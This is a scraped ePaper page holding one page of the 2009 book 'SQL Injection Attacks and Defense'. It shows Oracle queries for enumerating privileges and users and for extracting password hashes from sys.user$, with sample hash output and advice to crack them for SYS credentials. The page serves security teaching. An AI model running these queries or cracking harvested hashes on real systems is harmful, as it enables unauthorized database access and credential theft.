28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

182 Chapter 4 • Exploiting <strong>SQL</strong> <strong>Injection</strong><br />

To get the list of all possible privileges you must replace the user string in the preceding<br />

queries with all, as follows.<br />

To get all system privileges:<br />

select * from all_sys_privs;<br />

To get all role privileges:<br />

select * from all_role_privs;<br />

To get all table privileges:<br />

select * from all_tab_privs;<br />

To get all column privileges:<br />

select * from all_col_privs;<br />

Now that you have a listing of the database schema <strong>and</strong> some information about your<br />

current user, you may be interested in enumerating other information in the database,<br />

such as a list of all of the users in the database. The following query returns a list of all users<br />

in the database. This query has the advantage that, by default, it can be executed by any<br />

user of the database.<br />

select username,created from all_users order by created desc;<br />

SCOTT<br />

04–JAN–09<br />

PHP<br />

04–JAN–09<br />

PL<strong>SQL</strong><br />

02–JAN–09<br />

MONODEMO<br />

29–DEC–08<br />

DEMO1<br />

29–DEC–08<br />

ALEX<br />

14–DEC–08<br />

OWBSYS<br />

13–DEC–08<br />

FLOWS_030000<br />

13–DEC–08<br />

APEX_PUBLIC_USER<br />

13–DEC–08<br />

You can query additional items as well, depending on the version of the database in use.<br />

For example, an unprivileged user in versions up to Oracle 10g Rel. 2 can retrieve the<br />

database usernames <strong>and</strong> password hashes with the following SELECT statement:<br />

SELECT name, password, astatus FROM sys.user$ where type#>0 <strong>and</strong><br />

length(password)=16 (priv), astatus (0= open, 9= locked&expired)<br />

SYS AD24A888FC3B1BE7 0<br />

SYSTEM BD3D49AD69E3FA34 0<br />

OUTLN 4A3BA55E08595C81 9<br />

You can test or crack the password hashes with publicly available tools, possibly allowing<br />

you to obtain credentials for a privileged database account such as SYS. In Oracle 11g,<br />

Oracle has changed the password hashing algorithm in use, <strong>and</strong> the password hash is now<br />

located in a different column—spare4, as follows:

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!